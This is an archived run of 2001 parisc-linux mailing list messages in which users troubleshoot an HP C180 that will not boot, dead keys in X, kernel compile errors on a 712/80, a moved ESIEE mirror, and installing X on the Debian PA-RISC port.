X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 20:35:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B706482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 20:35:29 -0600 (MDT)
Original-Received: from localhost.localdomain (ppp56.cc1.pflash.com [63.121.24.58]) by vopserver.pflash.com
 (Vircom SMTPRS 5.0.193) with SMTP id <B0006048103@vopserver.pflash.com> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 30 Jul 2001 21:29:50 -0500
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11754

Hi,

Does anyone know what became of mkhppa1.esiee.fr ?

New url maybe?  Closed for summer break?

Mike




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Anthony Mori" <tonym@compusource.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 problem
Date: Mon, 30 Jul 2001 23:48:31 -0400
Organization: ISD
Lines: 38
Approved: news@gmane.org
Message-ID: <004b01c11973$ada28fd0$0b1e7b01@tpburner>
References: <01073021344600.00877@localhost.localdomain>
Reply-To: "Anthony Mori" <tonym@compusource.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620344 22865 80.91.229.3 (22 Nov 2014 01:39:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:04 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 21:49:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iport.rccl.com (unknown [63.103.130.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3F42482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 21:49:49 -0600 (MDT)
Original-Received: from tpburner ([1.123.30.11]) by iport.rccl.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id com for <parisc-linux@lists.parisc-linux.org>;
          Mon, 30 Jul 2001 23:47:03 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:11755

Acquired a C180, couldn't get it to work at home, so figuring it was
a screen res problem, took it to work. Plugged it into a 20" IBM
monitor, no problem. Booted into HP-UX (as received) just fine.

In the BIOS, I turned fastboot off, then did a reset, and it never came 
up again.

Before I changed the Fastboot, When the machine was turned on,
LED's 2,3,4 were on briefly, then they went out, and LED 1 stayed on.
Then after a briedf pause, 2,3,4 would start flickering as if it was doing
something (which it was).

Now, 2,3,4 turn on briefly, then go out, and LED 1 turns on, and that's
it. Nothing else. No video, nothing (A4071B video card)

I've tried removing the video card, and the FDDI card, but still get the
same.


Any ideas? Anything else need to be done when fastboot is off, like
terminating external scsi port(s), ensuring ethernet is in, etc?? Or should
it still at least boot and give a BIOS message?

Machine config:

C180
256MB RAM
4.3GB Disk
CDROM
Floppy
A4071B Video card


Tony





From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pa-risc project
Date: Mon, 30 Jul 2001 23:59:59 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <200107310559.XAA25580@puffin.external.hp.com>
References: <mszick@pflash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620345 22867 80.91.229.3 (22 Nov 2014 01:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S.Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 00:01:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DB34482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 00:01:17 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA25580;
	Mon, 30 Jul 2001 23:59:59 -0600
In-Reply-To: Message from "Michael S.Zick" <mszick@pflash.com> 
   of "Mon, 30 Jul 2001 21:34:46 CDT." <01073021344600.00877@localhost.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:11756

"Michael S.Zick" wrote:
> Does anyone know what became of mkhppa1.esiee.fr ?
> New url maybe?  Closed for summer break?

I'd heard that the local network admin closed the "ports"
the web server. And yes - it's summer break there now too.
They might consider moving the content over to www.parisc-linux.org.
I'll see some them in August and talk to them about it.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 problem
Date: Tue, 31 Jul 2001 00:05:55 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <200107310605.AAA25612@puffin.external.hp.com>
References: <tonym@compusource.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620345 22871 80.91.229.3 (22 Nov 2014 01:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Anthony Mori" <tonym@compusource.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 00:07:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8EB3482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 00:07:13 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA25612;
	Tue, 31 Jul 2001 00:05:55 -0600
In-Reply-To: Message from "Anthony Mori" <tonym@compusource.net> 
   of "Mon, 30 Jul 2001 23:48:31 EDT." <004b01c11973$ada28fd0$0b1e7b01@tpburner> 
Xref: news.gmane.org gmane.linux.ports.parisc:11757

"Anthony Mori" wrote:
> In the BIOS, I turned fastboot off, then did a reset, and it never came 
> up again.

fastboot flag controls the number and type of self tests the machine
does at poweron. I'd expect the LEDs to indicate what the problem is.
You could try removing all but two DIMMs and then swap to a different
pair if that doesn't work.
And try cycling the power too - that's different than a reset.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Gaylard <andrew.gaylard@za.didata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dead keys in X
Date: Tue, 31 Jul 2001 09:48:23 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <3B6662C7.7020705@za.didata.com>
References: <3B657709.4050201@za.didata.com> <200107301550.RAA00052@sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620345 22872 80.91.229.3 (22 Nov 2014 01:39:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 01:48:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nsr-temip1.sps.ics.didata.com (unknown [196.38.213.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3374B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 01:48:44 -0600 (MDT)
Original-Received: by nsr-temip1.sps.ics.didata.com id JAA0000017473; Tue, 31 Jul 2001 09:48:31 +0200 (GMT+0200)
Original-Received: from za.didata.com (localhost [127.0.0.1])
	by ndx-andrewg.sps.ics.didata.com (SGI-8.9.3/8.9.3) with ESMTP id JAA94395
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 09:48:26 +0200 (SAT)
User-Agent: Mozilla/5.0 (X11; U; IRIX 6.5 IP32; en-US; rv:0.9) Gecko/20010508
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11758

<html><head></head><body>Helge Deller wrote:<br>
<blockquote type="cite" cite="mid:200107301550.RAA00052@sap-ag.de"><pre wrap="">On Monday 30 July 2001 17:02, Andrew Gaylard wrote:<br></pre>
  <blockquote type="cite"><pre wrap="">The 'i' and 'o' keys in X are dead.  The 'i'-key at least<br>sends a keycode-224 to X (as viewed in xev), but if I try<br><br>	xmodmap -e "keycode 224 = i"<br><br>I get the error:<br>	xmodmap: commandline:0: bad keycode value (out of range)<br></pre></blockquote>
    <pre wrap=""><!----><br><br>Hi Andrew,<br><br>Just an idea: Does <br>		xmodmap -e "keycode 0xE0 = i"<br>works ?<br><br>Helge<br></pre>
    </blockquote>
Nope, it does exactly the same thing.<br>
    <br>
</body></html>




From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <debackex@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ESIEE website access is possible now
Date: Tue, 31 Jul 2001 13:35:24 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3B6697FC.11D1400E@esiee.fr>
References: <200107310559.XAA25580@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620346 22877 80.91.229.3 (22 Nov 2014 01:39:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:06 +0000 (UTC)
Cc: "Michael S.Zick" <mszick@pflash.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 05:35:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from frmta00.chello.fr (smtp.chello.fr [212.186.224.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id AAACD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 05:35:38 -0600 (MDT)
Original-Received: from esiee.fr ([212.186.188.203]) by frmta00.chello.fr with ESMTP
          id <20010731113557.BBFQ452.frmta00@esiee.fr>;
          Tue, 31 Jul 2001 13:35:57 +0200
X-Mailer: Mozilla 4.78 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11759

Grant Grundler wrote:

> "Michael S.Zick" wrote:
> > Does anyone know what became of mkhppa1.esiee.fr ?
> > New url maybe?  Closed for summer break?
>
> I'd heard that the local network admin closed the "ports"
> the web server. And yes - it's summer break there now too.
> They might consider moving the content over to www.parisc-linux.org.
> I'll see some them in August and talk to them about it.
>
> grant

During august, our website is accessible through

http://mkhppa02.esiee.fr:8000/

Regards

Xavier.
ESIEE Team.






From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andrew Gaylard (Dimension Data)" <Andrew.Gaylard@za.didata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Dead keys in X
Date: Tue, 31 Jul 2001 13:33:41 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <ADC0FD85146AD511972C0050DA09165007DAB1@zahbw0sv02.ics.didata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620346 22879 80.91.229.3 (22 Nov 2014 01:39:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:06 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 06:28:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zandfmgw6.za.didata.com (zandfmgw6.za.didata.com [196.36.8.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F1BF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 06:28:32 -0600 (MDT)
Original-Received: from zandfexc4.didata.co.za (unverified) by zandfmgw6.za.didata.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T551592ce6cc424081a598@zandfmgw6.za.didata.com> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 31 Jul 2001 13:29:22 -0700
Original-Received: by zandfexc4.didata.co.za with Internet Mail Service (5.5.2650.21)
	id <P39QX16G>; Tue, 31 Jul 2001 13:31:42 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11760

(My apologies for spamming the entire list with HTML.
Mozilla worked fine for my first message, but since then 
seems to refuse to produce vanilla text messages.
I'm now trying with a different mail client; hopefully
that sorts it out.)

I tried using 
	xmodmap -e "keycode 0xE0 = i"
but the result was the same.  I think the bigger problem
here is that the 'o'-button sends nothing at all.  If it
doesn't even produce an X event to start with, it can't 
be remapped.

Anyone with some Xpertise out there who can say where 
the server assigns keycodes in the first place?

-----Original Message-----
From: Helge Deller [mailto:helge.deller@sap.com]
Sent: 30 July 2001 17:51
To: Andrew Gaylard; parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Dead keys in X


On Monday 30 July 2001 17:02, Andrew Gaylard wrote:
> The 'i' and 'o' keys in X are dead.  The 'i'-key at least
> sends a keycode-224 to X (as viewed in xev), but if I try
>
> 	xmodmap -e "keycode 224 = i"
>
> I get the error:
> 	xmodmap: commandline:0: bad keycode value (out of range)


Hi Andrew,

Just an idea: Does 
		xmodmap -e "keycode 0xE0 = i"
works ?

Helge



**********************************************************************
This email and any files transmitted with it are confidential and
intended solely for the use of the individual or entity to whom they
are addressed. If you have received this email in error please notify
the system manager.

This footnote also confirms that this email message has been swept by
MIMEsweeper for the presence of computer viruses.

www.mimesweeper.com
**********************************************************************




From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Anthony Mori" <tonym@compusource.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 problem
Date: Tue, 31 Jul 2001 14:11:33 -0400
Organization: ISD
Lines: 32
Approved: news@gmane.org
Message-ID: <009401c119f1$3ea9c250$0b1e7b01@tpburner>
References: <200107310605.AAA25612@puffin.external.hp.com>
Reply-To: "Anthony Mori" <tonym@compusource.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620346 22885 80.91.229.3 (22 Nov 2014 01:39:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:06 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 12:48:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iport.rccl.com (unknown [209.110.77.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC9EA482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 12:48:34 -0600 (MDT)
Original-Received: from tpburner ([1.123.30.11]) by iport.rccl.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id com for <parisc-linux@lists.parisc-linux.org>;
          Tue, 31 Jul 2001 14:45:57 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:11761

----- Original Message -----
From: "Grant Grundler" <grundler@puffin.external.hp.com>
To: "Anthony Mori" <tonym@compusource.net>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Tuesday, July 31, 2001 2:05 AM
Subject: Re: [parisc-linux] C180 problem


> "Anthony Mori" wrote:
> > In the BIOS, I turned fastboot off, then did a reset, and it never came
> > up again.
>
> fastboot flag controls the number and type of self tests the machine
> does at poweron. I'd expect the LEDs to indicate what the problem is.
> You could try removing all but two DIMMs and then swap to a different
> pair if that doesn't work.
> And try cycling the power too - that's different than a reset.

Been there (Power cycling) even disassembled the thing, and reassembled,
just to re-seat everything. I will try the DIMMs when I retrun (on a
business
trip at present)


Thanks!

Tony






From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 problem
Date: Tue, 31 Jul 2001 17:06:50 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <200107312206.RAA20934@opus.cirr.com>
References: <004b01c11973$ada28fd0$0b1e7b01@tpburner>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620346 22887 80.91.229.3 (22 Nov 2014 01:39:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Anthony Mori" <tonym@compusource.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 16:07:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.cirr.com (ntp-b.cirr.com [192.67.63.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84567482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 16:07:08 -0600 (MDT)
Original-Received: from cirr.com (ns-a.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id RAA20934;
	Tue, 31 Jul 2001 17:06:50 -0500 (CDT)
In-reply-to: Your message of "Mon, 30 Jul 2001 23:48:31 EDT."
             <004b01c11973$ada28fd0$0b1e7b01@tpburner> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:11762

"Anthony Mori" writes:
- Before I changed the Fastboot, When the machine was turned on,
- LED's 2,3,4 were on briefly, then they went out, and LED 1 stayed on.
- Then after a briedf pause, 2,3,4 would start flickering as if it was doing
- something (which it was).
- 
- Now, 2,3,4 turn on briefly, then go out, and LED 1 turns on, and that's
- it. Nothing else. No video, nothing (A4071B video card)

	Which LED is `1'?  (whats the lab beside it?)

	According to the C Class (c1x0, c2x0, c3x0) service
handbook, 'net-in' (top or right) LED lit, with no others means
`no memory found.' (with a further comment of ``Likely cause:
SIMMs or processor board'').

	There is fault that leaves the hearbeat LED lit (at
least, not according to the documentation.) The SCSI access LED
lit means ``Processor board fault'' (my C110 currently suffers
this.)

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
	There has been an alarming increase in the number of things
			    you know nothing about.




From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: caslivkoff@telocity.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Errors trying to compile 2.4.6-pa22
Date: Wed, 01 Aug 2001 00:59:51 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <3B678CC7.6AC58107@telocity.com>
References: <3B64F11B.DC4EEF75@telocity.com> <20010730143254.A25867@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620347 22890 80.91.229.3 (22 Nov 2014 01:39:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:07 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 31 22:58:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (c007-h012.c007.snv.cp.net [209.228.33.219])
	by dsl2.external.hp.com (Postfix) with SMTP id 6F4C2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 31 Jul 2001 22:58:09 -0600 (MDT)
Original-Received: (cpmta 15965 invoked from network); 31 Jul 2001 21:58:04 -0700
Original-Received: from unknown (HELO telocity.com) (64.128.230.1)
  by smtp.telocity.com (209.228.33.219) with SMTP; 31 Jul 2001 21:58:04 -0700
X-Sent: 1 Aug 2001 04:58:04 GMT
Original-Sender: chuck@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-686 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11763

Matthew Wilcox wrote:
> 
> On Mon, Jul 30, 2001 at 01:31:07AM -0400, caslivkoff@telocity.com wrote:
> > Hi list,
> >
> > I've been trying to compile a new kernel on my 712/80 (128MB RAM) while
> > running 2.4.0-pa25. I downloaded linux-latest.tar.gz (2.4.6-pa22),
> 
> > drivers/char/char.o: In function `read_port':
> > drivers/char/char.o(.text.read_port+0x6c): undefined reference to `inb'
> 
> You turned off CONFIG_PCI.  This is not currently supported; but we were
> discussing how to fix it yesterday.  For the moment, enable it.

Thanks, that got it to build.

But, when I booted from this kernel, the STI console was unusable. 
Unfortunately, the network did not come up either (using dhcp), so I was
forced to pull the plug and boot the older kernel.

The only signficant thing I noticed was that the PS/2 mouse port was
active, but no device attached. I attached mouse (old Logitech) &
rebooted.
The keyboard was still unusable, but since gpm did start OK, I was able
to
carefully select/paste to login. I did get a look at the process table
and
the gettys were running, but dhcpcd was not. I suppose I could have
tried
to start it, but I didn't recall the syntax. 

Any ideas/suggestions/thoughts?




From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurijus@theophys.kth.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.2 experiences
Date: Wed, 1 Aug 2001 10:04:32 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108010957190.16366-100000@uranus.theophys.kth.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620347 22897 80.91.229.3 (22 Nov 2014 01:39:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 02:04:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from medea.theophys.kth.se (medea.theophys.kth.se [130.237.25.82])
	by dsl2.external.hp.com (Postfix) with SMTP id 34C3E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 02:04:38 -0600 (MDT)
Original-Received: (qmail 22493 invoked from network); 1 Aug 2001 08:02:41 -0000
Original-Received: from uranus.theophys.kth.se (130.237.25.101)
  by medea.theophys.kth.se with SMTP; 1 Aug 2001 08:02:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:11764

Hi!

Yesterday I've install 0.9.2 on HP 712/80. It is really impressive.
Starts to feel like debian :-). One small problem however: if You get
to a situation, when the only option is to restart the machine by
pressing the power button (this should not occur, I know :-), then it
turns out, that machine does not react to it! You can turn the power
button into the "off" position - machine still works, like nothing has
happened. Is it possible somehow to cause a graceful shutdown, when the
power is turned off by power button (the way the HP-UX does)? 

Other questions: I am quite new to the list, I have only read the docs
on parisc-linux.org. I noticed people on the list talking about compiling
the kernel under parisc-linux - I've thought the only way to compile
kernel is to use a cross compiler (that's what parisc-linux.org says,
anyway). Also, since it already displays tux logo during boot, it should
be able to run X, but no Xfree binaries are present on installation CD.
Can I run X somehow?

I apologize, if these questions are answered somewhere, I would be
grateful if someone would give me the directions.

Cheers,

Jurij.

 





From - Thu Nov 08 21:18:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9.2 experiences
Date: Wed, 1 Aug 2001 10:25:19 +0200
Organization: SAP LinuxLab
Lines: 46
Approved: news@gmane.org
Message-ID: <200108010825.KAA10220@sap-ag.de>
References: <Pine.LNX.4.21.0108010957190.16366-100000@uranus.theophys.kth.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620347 22905 80.91.229.3 (22 Nov 2014 01:39:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:07 +0000 (UTC)
To: Jurij Smakov <jurijus@theophys.kth.se>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  1 02:25:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BB99482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Aug 2001 02:25:22 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA13926;
  Wed, 1 Aug 2001 10:27:10 +0200 (MESZ)
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <Pine.LNX.4.21.0108010957190.16366-100000@uranus.theophys.kth.se>
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:11765

Hi Jurij,

On Wednesday 01 August 2001 10:04, Jurij Smakov wrote:
> Other questions: I am quite new to the list, I have only read the docs
> on parisc-linux.org. I noticed people on the list talking about compiling
> the kernel under parisc-linux - I've thought the only way to compile
> kernel is to use a cross compiler (that's what parisc-linux.org says,
> anyway). 

No, you may also compile a new kernel under parisc-linux.
All you need is to apt-get gcc and binutils (search the archive how to set
up apt).

> Also, since it already displays tux logo during boot, it should
> be able to run X, but no Xfree binaries are present on installation CD.
> Can I run X somehow?

Yes you can. After setting up apt do an 
apt-get install xserver-xfree86 xfonts xlibs xbase xutils
modify your /etc/XFree86config to use the fbdev driver and it should work.
Maybe you will need to modify some more things which I don't know right now 
out of my head, but you may also take a look at the thread
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/012972.html
and should ignore all things I mentioned about HIL (since I think you don't 
have a HIL keyboard or mouse).

> Cheers,
> Jurij.

Much fun,
Helge

-- 
_______________________________________________________________________

THE BEST RUN E-BUSINESSES RUN SAP
_______________________________________________________________________

Helge Deller                            email: helge.deller@sap.com
SAP AG Walldorf/Baden, Germany         
LinuxLab                               

SAP LinuxLab support address: linux@sap.com


